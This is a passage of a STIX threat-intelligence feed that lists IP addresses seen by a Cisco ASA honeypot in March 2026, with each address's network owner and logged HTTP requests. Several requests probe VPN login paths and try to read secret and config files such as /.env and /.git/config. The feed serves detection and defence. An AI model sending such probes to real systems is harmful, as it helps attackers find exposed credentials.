          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--97828de1-62ff-4edf-8c34-885e9d8053fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:20:13.000Z",
      "valid_until": "2026-04-09T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T03:02:35.621Z",
          "last_seen": "2026-03-08T03:02:35.621Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a1afa33e-c76e-436c-afe5-4cbfd1dcf1e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:20:13.000Z",
      "valid_until": "2026-04-09T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T03:02:47.180Z",
          "last_seen": "2026-03-08T03:02:47.180Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--0f0c2d1e-800b-4df9-95f4-62c1327354b1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:20:13.000Z",
      "valid_until": "2026-04-09T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T03:02:50.477Z",
          "last_seen": "2026-03-17T07:46:12.864Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c2711a5a-319b-4ea6-bf35-ba784e6b20a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:20:13.000Z",
      "valid_until": "2026-04-09T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T03:02:54.713Z",
          "last_seen": "2026-03-08T03:02:54.713Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--077052b5-b7b8-44a8-a15a-85153cf11193",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:20:13.000Z",
      "valid_until": "2026-04-09T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 23,
          "first_seen": "2026-03-08T02:58:56.213Z",
          "last_seen": "2026-03-17T07:48:10.302Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.well-known/security.txt HTTP/1.1\" 404 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--c6f33ef5-4977-4740-be9a-3eaa05754aab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:20:13.000Z",
      "valid_until": "2026-04-09T04:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T03:42:46.817Z",
          "last_seen": "2026-03-08T03:42:46.817Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--77d629ca-aaf3-4787-918c-f9195687a239",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:20:13.000Z",
      "valid_until": "2026-04-09T04:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T03:28:18.142Z",
          "last_seen": "2026-03-08T03:28:18.142Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T07:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 202425 (IP Volume inc)",
      "id": "indicator--ea6fa25f-39c7-40c1-9de6-ef3cde78eed2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T07:20:12.000Z",
      "valid_until": "2026-04-09T07:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T06:41:08.997Z",
          "last_seen": "2026-03-08T06:41:12.000Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202425,
          "as_org": "IP Volume inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T07:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 201002 (PebbleHost Ltd)",
      "id": "indicator--137b29b5-e297-43ce-a988-6dca1b0e2c7d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T07:20:12.000Z",
      "valid_until": "2026-04-09T07:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T07:05:05.655Z",
          "last_seen": "2026-03-12T11:38:39.045Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 201002,
          "as_org": "PebbleHost Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T08:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--31f9ea7f-9c5a-4769-bb2a-03017ea62c4f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.99.42.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T08:20:13.000Z",
      "valid_until": "2026-04-09T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T07:35:11.223Z",
          "last_seen": "2026-03-08T07:35:18.644Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T08:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--edec7014-fcc3-4475-a3ba-fd17ac0edc55",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T08:20:13.000Z",
      "valid_until": "2026-04-09T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T07:58:30.969Z",
          "last_seen": "2026-03-08T07:58:30.969Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T08:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--b73c3b75-f81f-44ca-8ccd-6f08abb7282d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T08:20:13.000Z",
      "valid_until": "2026-04-09T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T07:53:22.267Z",
          "last_seen": "2026-03-27T07:35:54.993Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--f671a987-67dc-4a90-9f2e-d916bfaa713d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '116.172.200.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T10:20:13.000Z",
      "valid_until": "2026-04-09T10:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T09:35:43.802Z",
          "last_seen": "2026-03-08T09:35:43.802Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--8c35ec8b-ab55-4db4-afb4-3f8455207af4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '123.145.39.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T10:20:13.000Z",
      "valid_until": "2026-04-09T10:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T09:33:49.175Z",
          "last_seen": "2026-03-08T09:33:52.178Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--2647209f-6441-4373-8064-6f9c8f492f5d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '183.191.125.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T10:20:13.000Z",
      "valid_until": "2026-04-09T10:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T09:35:42.483Z",
          "last_seen": "2026-03-08T09:35:42.483Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--8b9ca2f1-23c5-4a2a-8678-a2fc18dbd232",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.83.185.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T10:20:13.000Z",
      "valid_until": "2026-04-09T10:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T09:34:11.758Z",
          "last_seen": "2026-03-08T09:34:14.760Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: CN; ASN 17621 (China Unicom Shanghai network)",
      "id": "indicator--d37b157c-3cb0-4b4c-bec9-b98f6fd2b930",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '223.166.22.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T10:20:13.000Z",
      "valid_until": "2026-04-09T10:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T09:35:47.336Z",
          "last_seen": "2026-03-08T09:35:47.336Z",
          "country": "China",
          "country_code": "CN",
          "asn": 17621,
          "as_org": "China Unicom Shanghai network",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CN; ASN 17638 (ASN for TIANJIN Provincial Net of CT)",
      "id": "indicator--95cf8188-f2cd-4fae-a585-e37b43651388",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '36.106.166.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T10:20:13.000Z",
      "valid_until": "2026-04-09T10:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T09:35:44.777Z",
          "last_seen": "2026-03-08T09:35:44.777Z",
          "country": "China",
          "country_code": "CN",
          "asn": 17638,
          "as_org": "ASN for TIANJIN Provincial Net of CT",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--fe2fd1bd-db1a-4bd5-bc66-f023090c0816",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '43.248.109.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T10:20:13.000Z",
      "valid_until": "2026-04-09T10:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T09:35:46.191Z",
          "last_seen": "2026-03-08T09:35:46.191Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T11:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 201002 (PebbleHost Ltd)",
      "id": "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T11:20:13.000Z",
      "valid_until": "2026-04-09T11:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-08T10:48:02.493Z",
          "last_seen": "2026-03-26T03:58:40.454Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 201002,
          "as_org": "PebbleHost Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T14:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CH; ASN 15169 (Google LLC)",
      "id": "indicator--fed3a61e-8415-4737-a73c-0d7fd1f0d60b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '35.216.144.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:20:07.000Z",
      "valid_until": "2026-04-09T14:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 10,
          "first_seen": "2026-03-08T13:53:59.380Z",
          "last_seen": "2026-03-08T13:54:12.426Z",
          "country": "Switzerland",
          "country_code": "CH",
          "asn": 15169,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.env HTTP/1.1\" 404 -",
            "\"GET /.git/config HTTP/1.1\" 404 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /info.php HTTP/1.1\" 404 -",
            "\"GET /server-status HTTP/1.1\" 404 -",
            "\"GET /telescope/requests HTTP/1.1\" 404 -",
            "\"HELP\" 400 -",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T14:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CH; ASN 15169 (Google LLC)",
      "id": "indicator--288e9699-7ee2-415f-aaf9-9b850e2ce191",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '35.216.201.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
